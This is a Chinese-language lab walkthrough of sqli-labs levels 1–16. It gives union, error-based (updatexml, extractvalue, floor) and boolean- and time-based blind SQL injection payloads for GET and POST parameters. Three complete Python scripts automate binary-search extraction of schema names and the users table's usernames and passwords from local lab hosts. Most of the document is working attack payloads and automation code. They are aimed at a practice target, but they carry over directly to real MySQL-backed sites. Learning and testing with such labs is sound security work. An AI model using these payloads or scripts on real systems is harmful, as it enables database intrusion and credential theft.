sqli-labs靶场练习
Less1
一、
首先输入?id=1,判断是否有注入点
二、
然后再输入?id=1’,判断网页的闭合方式
拼接单引号报错,拼接双引号正常返回,说明该网站使用的单引号闭合方式
接下来判断是字符型还是数值型
?id=1 and 1=2 报错说明是数字型
?id=1' and '1'='2 报错说明是字符型
判断出是字符型
接下来使用联合注入方式
一、判断列数
首先使用order by n,直接在后边拼接函数,判断表格有几列
发现3有回显,4报错,判断出有3列即网页返回三行数据
二、判断回显位
接下来使用union函数,查看回显位:?id=-1’ union select 1,1,1--+
因为上一步已经初步判断出回显位是三位,然后使用union函数,发现回显值在第二列和第三列中,这里的1起占位符作用
三、爆库
接下来使用database(),version(),user()函数,得到数据库名,数据库版本,MySQL 连接的当前用户名和主机名
?id=-1’ union select 1,database(),version()--+
四、爆表
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
information_schema.tables表示该数据库下的tables表,group_concat()是将查询到结果连接起来,如果不用group_concat查询到的只有最后一位。
该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有内容,即查security库的所有表名
五、爆列,即爆字段
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
该语句的意思是查users表的所有字段
六、得到敏感信息
根据字段,判断出敏感字段为username与password
?id=-1' union select 1,2,group_concat(username,password) from users--+
为了方便查看,可以在两个字段中插入一个id,用来隔断username与password
?id=-1' union select 1,2,group_concat(username,id,password) from users--+
Less2
首先判断有注入点,然后拼接特殊字符,发现均产生报错,且没有返回数字,接下来用
?id=1 and 1=2--+判断出该页面是数值型注入
接下来参考less1即可,由于是数字型,所以不需要闭合:
?id=1 order by 3 判断列
?id=-1 union select 1,2,3 判断回显位
?id=-1 union select 1,database(),version() 爆库
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= 'security' 爆表
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name= 'users' 爆字段
?id=-1 union select 1,2,group_concat(username,id,password) from users 得到敏感信息
Less3
单引号闭合出错,并且发现报错信息中出现括号
接下来在将括号拼接:?id=1')--+
判断出该网页的闭合方式为:(‘’)
再用?id=1' and '1'='2判断为字符型注入
接下来参考less1即可:
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= 'security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name= 'users'--+
?id=-1') union select 1,2,group_concat(username,id,password) from users--+ 得到敏感信息
Less4
判断闭合方式为:(""),且为字符型
接下来参考less1即可:
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+
?id=-1") union select 1,2,group_concat(username,id,password) from users--+ 得到敏感信息
Less5
先判断是否有注入点
判断闭合方式:单引号闭合
判断类型:字符型
首先用联合注入尝试
发现输入正确时,页面反应一致,所以此时无法再使用联合注入,因为该页面有报错回显,所一接下来将使用报错注入方式
updatexml()报错注入
updatexml(xml_document,xpath_string,new_value)
该函数包含3个参数,当第二个参数包含特殊符号时会报错,并将该参数的内容显示在报错信息中
?id=1' and updatexml(1,concat(0x7E,(select database()),0x7E,(select version()),0x7E,
(select user())),1)--+ 返回常规信息,0x7e是~的16进制表示方式
?id=1' and updatexml(1,concat(0x7E,(select database()),0x7E),1)--+ 爆库
?id=1' and updatexml(1,concat(0x7E,(select group_concat(table_name) from
information_schema.tables where table_schema = 'security'),0x7E),1)--+ 爆表
?id=1' and updatexml(1,concat(0x7E,(select group_concat(column_name) from
information_schema.columns where table_schema='security' and table_name = 'users'),
0x7E),1)--+ 爆字段
?id=1' and updatexml(1,concat(0x7E,(select group_concat(username,id,password) from users),
0x7E),1)--+
此时使用group_concat函数拼接查询的所有信息,发现并没有完全显示,原因是updatexml函数返回值有长度限制,接下来可以使用下面的语句进行单个查询
?id=1' and updatexml(1,concat(0x7E,(select username from users limit 1),0x7E),1)--+
这里使用到了limit函数,当只提供一个参数时,LIMIT指定要返回的行数:
SELECT * FROM table_name LIMIT 10;
这条语句将返回table_name表中的前10行。
当提供两个参数时,第一个参数指定要跳过的行数,第二个参数指定要返回的行数:
SELECT * FROM table_name LIMIT 5, 10;
这条语句将跳过前5行,并返回接下来的10行。
?id=1' and updatexml(1,concat(0x7E,(select username from users limit 1,1),0x7E),1)--+
该语句将跳过第一个,查询第二个username数据
extractvalue()报错注入
extractvalue (XML_document, xpath_string)
该函数包含2个参数,当第二个参数包含特殊符号时会报错,并将该参数的内容显示在报错信息中
?id=1' and extractvalue(1,concat(0x7E,(select database()),0x7E))--+ 爆库
?id=1' and extractvalue(1,concat(0x7E,(select group_concat(table_name) from
information_schema.tables where table_schema = 'security'),0x7E))--+ 爆表
?id=1' and extractvalue(1,concat(0x7E,(select group_concat(column_name) from
information_schema.columns where table_schema='security' and table_name = 'users'),
0x7E))--+ 爆字段
extractvalue函数与updatexml函数类似,返回值有长度限制,所以直接使用limit函数进行单个查询
?id=1' and extractvalue(1,concat(0x7E,(select username from users limit 1),0x7E))--+
Less6
发现为双引号闭合,与Less5类似,接下来使用floor函数进行报错注入
floor报错注入
floor报错注入是利用 select count(*),(floor(rand(0)*2)) x from users group by x这个相对固定的语句格式,导致的数据库报错。
?id=1" union select count(*),1,concat('~',(select database()),'~',floor(rand(0)*2)) as x from information_schema.tables group by x --+ 爆库
?id=1" union select count(*),1,concat('~',(select group_concat(table_name) from
information_schema.tables where table_schema = 'security'),'~',floor(rand(0)*2)) as x from information_schema.tables group by x --+ 爆表
?id=1" union select count(*),1,concat('~',(select group_concat(column_name) from
information_schema.columns where table_schema='security' and table_name = 'users'),'~',floor(rand(0)*2)) as x from information_schema.tables group by x --+ 爆字段
同样的,floor只返回一列数据,所以还是使用limit函数
?id=1" union select count(*),1,concat('~',(select username from users limit 1),'~',floor(rand(0)*2)) as x from information_schema.tables group by x --+
Less7
单引号报错,双引号无反应,初步判断闭合方式为单引号
此时使用?id=1'--+
发现还是报错,说明闭合方式不止有单引号,所以在加括号尝试
?id=1')--+ ?id=1'))--+
当添加了两个括号后发现正确回显,说明该题的闭合方式为((''))
该题发现正确注入或错误注入,页面的返回信息都没有变化,所以此时联合注入和报错注入都无法使用,此时使用盲注来进行sql注入
布尔盲注
布尔盲注主要用到length(),ascii() ,substr()这三个函数
lenfth(a)是获取a的长度
substr(a,b,c),a是要截取的字符串,b是截取的位置,c是截取的长度
ascii()是将截取的字符转换成对应的ascii码
?id=1')) and length((select database()))>7--+
判断出数据库长度为8
?id=1')) and ascii(substr((select database()),1,1))=115--+
逐一判断库名
?id=1')) and length((select group_concat(table_name) from information_schema.tables where
table_schema=database()))>13--+
判断所有表名字符长度。
?id=1')) and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1')) and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1')) and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1')) and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1')) and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
由于布尔盲注需要一次次的尝试,将每一个字符找出,过于繁琐,所以这里不再展示手工注入,接下来将会以python脚本进行注入
import requests
#设置靶场网址
url = "http://192.168.70.140/sqli-labs-master/Less-7/?id=1')) and "
#设置请求头信息
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0'
}
#设置页面返回的正确信息和错误信息
flagFalse = "You have an error in your SQL syntax"
flagTrue = "You are in.... Use outfile......"
#一、查找数据库名长度
for i in range(1,101): #假定数据库名的长度不大于100
database_length = 0 #存储数据库名长度
#设置要拼接的url,查询数据库名的长度
url1 = f"length((select database()))>{i}--+"
s = requests.get(url+url1,headers=headers)
if flagFalse in s.content.decode():
database_length = i
break
print(database_length)
#接下来开始判断数据库名具体是什么,使用折半查找方式与阿斯克码值查找
# 由于数据库名由下划线、数字、字母组成,所以最小为48:0,最大为z:122,下划线:95
#二、查找数据库名
database_name = ''
for i in range(1,database_length+1):
low = 48 #最小值
high = 122 #最大值
mid = int((low + high) / 2) # 中间值
while low<high:
url2 = f"ascii(substr((select database()),{i},1))>{mid}--+" #查找数据库名
s = requests.get(url + url2, headers=headers)
if flagTrue in s.content.decode():
low = mid + 1
#low = mid
else:
high = mid
#high = mid - 1
mid = int((low + high) / 2) # 中间值
database_name = database_name + chr(mid) #chr函数可以将数字以阿斯克码的形式转化为对应的字母
print(database_name)
#三、判断所有表名字符长度
for i in range(1,101): #假定所有表名的长度不大于100
table_length = 0 #存储所有表名长度
url3 = f'length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>{i}--+'
s = requests.get(url+url3,headers=headers)
if flagFalse in s.content.decode():
table_length = i
break
print(table_length)
#四、查找所有表名
table_name = ''
for i in range(1,table_length+1):
low = 48 #最小值
high = 122 #最大值
mid = int((low + high) / 2) # 中间值
while low<high:
url4 = f"ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid}--+"
s = requests.get(url + url4, headers=headers)
if flagTrue in s.content.decode():
low = mid + 1
#low = mid
else:
high = mid
#high = mid - 1
mid = int((low + high) / 2) # 中间值
table_name = table_name + chr(mid) #chr函数可以将数字以阿斯克码的形式转化为对应的字母
print(table_name)
#五、判断所有字段名的长度
for i in range(1,101): #假定所有字段名的长度不大于100
column_length = 0 #存储所有字段名长度
url5 = f'length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"))>{i}--+'
s = requests.get(url+url5,headers=headers)
if flagFalse in s.content.decode():
column_length = i
break
print(column_length)
#六、查找所有字段名
column_name = ''
for i in range(1,column_length+1):
low = 48 #最小值
high = 122 #最大值
mid = int((low + high) / 2) # 中间值
while low<high:
url6 = f"ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid}--+"
s = requests.get(url + url6, headers=headers)
if flagTrue in s.content.decode():
low = mid + 1
#low = mid
else:
high = mid
#high = mid - 1
mid = int((low + high) / 2) # 中间值
column_name = column_name + chr(mid) #chr函数可以将数字以阿斯克码的形式转化为对应的字母
print(column_name)
#七、判断一个字段下所有数据的长度
for i in range(1,501): #假定所有数据的长度不大于500
data_length = 0 #存储所有字段名长度
url7 = f'length((select group_concat(username,id,password) from users))>{i}--+'
s = requests.get(url+url7,headers=headers)
if flagFalse in s.content.decode():
data_length = i
break
print(data_length)
#八、查找所有数据
data = ''
for i in range(1,data_length+1):
low = 32 #最小值
high = 128 #最大值
mid = int((low + high) / 2) # 中间值
while low<high:
url8 = f"ascii(substr((select group_concat(username,id,password) from users),{i},1))>{mid}--+"
s = requests.get(url + url8, headers=headers)
if flagTrue in s.content.decode():
low = mid + 1
#low = mid
else:
high = mid
#high = mid - 1
mid = int((low + high) / 2) # 中间值
data = data + chr(mid)
print(data)
Less8
判断出闭合方式为单引号闭合,使用布尔盲注,参考Less7
Less9
首先判断闭合方式,发现',",'--+,"--+,无论输入什么页面返回值都没有变化,所以使用盲注,且布尔盲注也无法使用,此时使用时间盲注进行sql注入
时间盲注
时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if()函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。
?id=1' and if(1=1,sleep(5),1)--+
可以在页面检查的网络模块下查看浏览器的反应时间,判断出单引号闭合,且页面正常执行了sleep()函数
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,
sleep(5),1)--+
逐一检测内容。
由于时间盲注与布尔盲注相同,需要一次次的尝试,将每一个字符找出,过于繁琐,所以这里不再展示手工注入,接下来将会以python脚本进行注入
import requests
#设置靶场网址
url = "http://192.168.70.140/sqli-labs-master/Less-9/?id=1' and "
#设置请求头信息
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0'
}
#设置页面返回信息
flagTrue = "You are in..........."
#一、查找数据库名长度
database_length = 0 #存储数据库名长度
for i in range(20,0,-1): #假定数据库名的长度不大于20,因为sleep函数会使页面强制沉睡,为了效率,使用倒叙遍历
url1 = f"if(length((select database()))>{i},sleep(2),1)--+" #设置要拼接的url,查询数据库名的长度,为了效率,使用sleep(2)使服务器沉睡2秒即可
s = requests.get(url+url1,headers=headers)
time = s.elapsed.total_seconds() #获取服务器响应时间
if time>1: #判断time>1,而不判断time>2,是因为服务器响应有波动,避免误差
database_length = i + 1
break
print(database_length)
#接下来开始判断数据库名具体是什么,使用折半查找方式与阿斯克码值查找
# 由于数据库名由下划线、数字、字母组成,所以最小为48:0,最大为z:122,下划线:95
#二、查找数据库名
database_name = ''
for i in range(1,database_length+1):
low = 48 #最小值
high = 122 #最大值
mid = int((low + high) / 2) # 中间值
while low<high:
url2 = f"if(ascii(substr((select database()),{i},1))>{mid},sleep(0.1),1)--+" #查找数据库名,为了效率,使用sleep(0.1)使服务器沉睡0.1秒即可
s = requests.get(url + url2, headers=headers)
time = s.elapsed.total_seconds()
if time>0.05:
low = mid + 1
else:
high = mid
mid = int((low + high) / 2) # 中间值
database_name = database_name + chr(mid) #chr函数可以将数字以阿斯克码的形式转化为对应的字母
print(database_name) #因为在查找过程中,服务器不时的沉睡,导致python代码执行缓慢,所以可以再此进行一个输出
print(database_name)
#三、判断所有表名字符长度
for i in range(100,0,-1): #假定所有表名的长度不大于100
table_length = 0 #存储所有表名长度
url3 = f"if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>{i},sleep(2),1)--+"
s = requests.get(url + url3, headers=headers)
time = s.elapsed.total_seconds() # 获取服务器响应时间
if time > 1:
table_length = i + 1
break
print(table_length)
#四、查找所有表名
table_name = ''
for i in range(1,table_length+1):
low = 48 #最小值
high = 122 #最大值
mid = int((low + high) / 2) # 中间值
while low<high:
url4 = f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},sleep(0.1),1)--+"
s = requests.get(url + url4, headers=headers)
time = s.elapsed.total_seconds()
if time>0.05:
low = mid + 1
else:
high = mid
mid = int((low + high) / 2) # 中间值
table_name = table_name + chr(mid) #chr函数可以将数字以阿斯克码的形式转化为对应的字母
print(table_name) #同理,再此进行一个输出
print(table_name)
#五、判断所有字段名的长度
for i in range(100,0,-1): #假定所有字段名的长度不大于100
column_length = 0 #存储所有字段名长度
url5 = f"if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>{i},sleep(2),1)--+"
s = requests.get(url + url5, headers=headers)
time = s.elapsed.total_seconds() # 获取服务器响应时间
if time > 1:
column_length = i + 1
break
print(column_length)
#六、查找所有字段名
column_name = ''
for i in range(1,column_length+1):
low = 48 #最小值
high = 122 #最大值
mid = int((low + high) / 2) # 中间值
while low<high:
url6 = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid},sleep(0.1),1)--+"
s = requests.get(url + url6, headers=headers)
time = s.elapsed.total_seconds()
if time>0.05:
low = mid + 1
else:
high = mid
mid = int((low + high) / 2) # 中间值
column_name = column_name + chr(mid) #chr函数可以将数字以阿斯克码的形式转化为对应的字母
print(column_name) #同理,再此进行一个输出
print(column_name)
#七、判断一个字段下所有数据的长度
for i in range(300,0,-1): #假定所有数据名的长度不大于300
data_length = 0 #存储所有数据名长度
url7 = f"if(length((select group_concat(username,password) from users))>{i},sleep(2),1)--+"
s = requests.get(url + url7, headers=headers)
time = s.elapsed.total_seconds() # 获取服务器响应时间
if time > 1:
data_length = i + 1
break
print(data_length)
#八、查找所有数据
data = ''
for i in range(1,data_length+1):
low = 48 #最小值
high = 122 #最大值
mid = int((low + high) / 2) # 中间值
while low<high:
#if(ascii(substr((select group_concat(username,password) from users),{i},1))>{mid},sleep(0.1),1)--+
url8 = f"if(ascii(substr((select username from users limit 1),{i},1))>{mid},sleep(0.1),1)--+" #为了方便演示,使用limit函数,只查询第一条username数据
s = requests.get(url + url8, headers=headers)
time = s.elapsed.total_seconds()
if time>0.05:
low = mid + 1
else:
high = mid
mid = int((low + high) / 2) # 中间值
if chr(mid) == '0':
break
data = data + chr(mid) #chr函数可以将数字以阿斯克码的形式转化为对应的字母
print(data) #同理,再此进行一个输出
print(data)
Less10
判断出闭合方式为双引号闭合,使用时间盲注,参考Less9
Less11
从第十一关开始,可以发现页面就发生变化了,是账户登录页面。那么注入点就在输入框里面。这一关是post请求,参数是在表单里面。为了方便,我使用了BurpSuite抓包工具
从请求包中可以看出,页面使用的post请求,且找到了注入点
直接输入1,发现没反应
输入单引号,出现报错
输入双引号,没反应,初步判定为单引号闭合
接下来使用order by判断是否有回显,发现order by 3时出现报错,说明页面回显为2
判断出两个回显位均有回显,接下来开始使用联合注入进行攻击
开始逐一爆库,爆表,爆字段,爆数据,这里就不一一演示了
uname=1' union select 1,database()#&passwd=1&submit=Submit 爆库
uname=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'security'#&passwd=1&submit=Submit 爆表
uname=1' union select 1,group_concat(column_name) from information_schema.columns where table_name= 'users'#&passwd=1&submit=Submit 爆字段
uname=1' union select 1,group_concat(username,id,password) from users#&
passwd=1&submit=Submit 得到敏感信息
Less12
抓包,判断出闭合方式:("")
还是使用联合注入方式,参考Less11
Less13
首先判断出闭合方式:('')
使用联合注入方式,发现正确无回显,但有错误回显,所以此时使用报错注入
uname=1') and updatexml(1,concat(0x7E,(select database()),0x7E),1)#
&passwd=1&submit=Submit 爆库
uname=1') and updatexml(1,concat(0x7E,(select group_concat(table_name) from
information_schema.tables where table_schema = 'security'),0x7E),1)#
&passwd=1&submit=Submit 爆表
uname=1') and updatexml(1,concat(0x7E,(select group_concat(column_name) from
information_schema.columns where table_schema='security' and table_name = 'users'),
0x7E),1)#&passwd=1&submit=Submit 爆字段
uname=1') and updatexml(1,concat(0x7E,(select username from users limit 1),0x7E),1)#
&passwd=1&submit=Submit 爆数据
Less14
抓包,判断出闭合方式是双引号闭合
其发现还是只有报错回显,所以还是使用报错注入,参考Less13
Less15
抓包,判断出是单引号闭合,且没有回显信息,但是可以判断有没有成功登录,所以此时就要使用布尔盲注,同样的,效果以python脚本实现
import requests
#设置靶场网址
url = "http://192.168.70.143/sqli-labs-master/Less-15/"
#设置请求头信息
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0'
}
#设置页面返回的正确信息和错误信息
flagFalse = 'src="../images/slap.jpg"'
flagTrue = 'src="../images/flag.jpg"'
#一、查找数据库名长度
for i in range(1,101): #假定数据库名的长度不大于100
database_length = 0 #存储数据库名长度
data = { # 设置要传的参数
'uname': f"1' or length((select database()))>{i}#",
'passwd': 1,
'submit':'Submit'
}
s = requests.post(url=url,data=data,headers=headers)
if flagFalse in s.content.decode():
database_length = i
break
print(database_length)
#接下来开始判断数据库名具体是什么,使用折半查找方式与阿斯克码值查找
# 由于数据库名由下划线、数字、字母组成,所以最小为48:0,最大为z:122,下划线:95
#二、查找数据库名
database_name = ''
for i in range(1,database_length+1):
low = 48 #最小值
high = 122 #最大值
mid = int((low + high) / 2) # 中间值
while low<high:
data = { # 设置要传的参数
'uname': f"1' or ascii(substr((select database()),{i},1))>{mid}#",
'passwd': 1,
'submit': 'Submit'
}
s = requests.post(url=url,data=data,headers=headers)
if flagTrue in s.content.decode():
low = mid + 1
#low = mid
else:
high = mid
#high = mid - 1
mid = int((low + high) / 2) # 中间值
database_name = database_name + chr(mid) #chr函数可以将数字以阿斯克码的形式转化为对应的字母
print(database_name)
#三、判断所有表名字符长度
for i in range(1,101): #假定所有表名的长度不大于100
table_length = 0 #存储所有表名长度
data = { # 设置要传的参数
'uname': f"1' or length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>{i}#",
'passwd': 1,
'submit': 'Submit'
}
s = requests.post(url=url, data=data, headers=headers)
if flagFalse in s.content.decode():
table_length = i
break
print(table_length)
#四、查找所有表名
table_name = ''
for i in range(1,table_length+1):
low = 48 #最小值
high = 122 #最大值
mid = int((low + high) / 2) # 中间值
while low<high:
data = { # 设置要传的参数
'uname': f"1' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid}#",
'passwd': 1,
'submit': 'Submit'
}
s = requests.post(url=url, data=data, headers=headers)
if flagTrue in s.content.decode():
low = mid + 1
#low = mid
else:
high = mid
#high = mid - 1
mid = int((low + high) / 2) # 中间值
table_name = table_name + chr(mid) #chr函数可以将数字以阿斯克码的形式转化为对应的字母
print(table_name)
#五、判断所有字段名的长度
for i in range(1,101): #假定所有字段名的长度不大于100
column_length = 0 #存储所有字段名长度
data = { # 设置要传的参数
'uname': f"1' or length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>{i}#",
'passwd': 1,
'submit': 'Submit'
}
s = requests.post(url=url, data=data, headers=headers)
if flagFalse in s.content.decode():
column_length = i
break
print(column_length)
#六、查找所有字段名
column_name = ''
for i in range(1,column_length+1):
low = 48 #最小值
high = 122 #最大值
mid = int((low + high) / 2) # 中间值
while low<high:
data = { # 设置要传的参数
'uname': f"1' or ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid}#",
'passwd': 1,
'submit': 'Submit'
}
s = requests.post(url=url, data=data, headers=headers)
if flagTrue in s.content.decode():
low = mid + 1
#low = mid
else:
high = mid
#high = mid - 1
mid = int((low + high) / 2) # 中间值
column_name = column_name + chr(mid) #chr函数可以将数字以阿斯克码的形式转化为对应的字母
print(column_name)
#七、判断一个字段下所有数据的长度
for i in range(1,501): #假定所有数据的长度不大于500
data_length = 0 #存储所有字段名长度
data = { # 设置要传的参数
'uname': f"1' or length((select group_concat(username,id,password) from users))>{i}#",
'passwd': 1,
'submit': 'Submit'
}
s = requests.post(url=url, data=data, headers=headers)
if flagFalse in s.content.decode():
data_length = i
break
print(data_length)
#八、查找所有数据
data_database = ''
for i in range(1,data_length):
low = 32 #最小值
high = 128 #最大值
mid = int((low + high) / 2) # 中间值
while low<high:
data = { # 设置要传的参数
'uname': f"1' or ascii(substr((select group_concat(username,id,password) from users),{i},1))>{mid}#",
'passwd': 1,
'submit': 'Submit'
}
s = requests.post(url=url, data=data, headers=headers)
if flagTrue in s.content.decode():
low = mid + 1
#low = mid
else:
high = mid
#high = mid - 1
mid = int((low + high) / 2) # 中间值
data_database = data_database + chr(mid)
print(data_database)
Less16
判断闭合方式为:(""),使用布尔盲注,参考Less15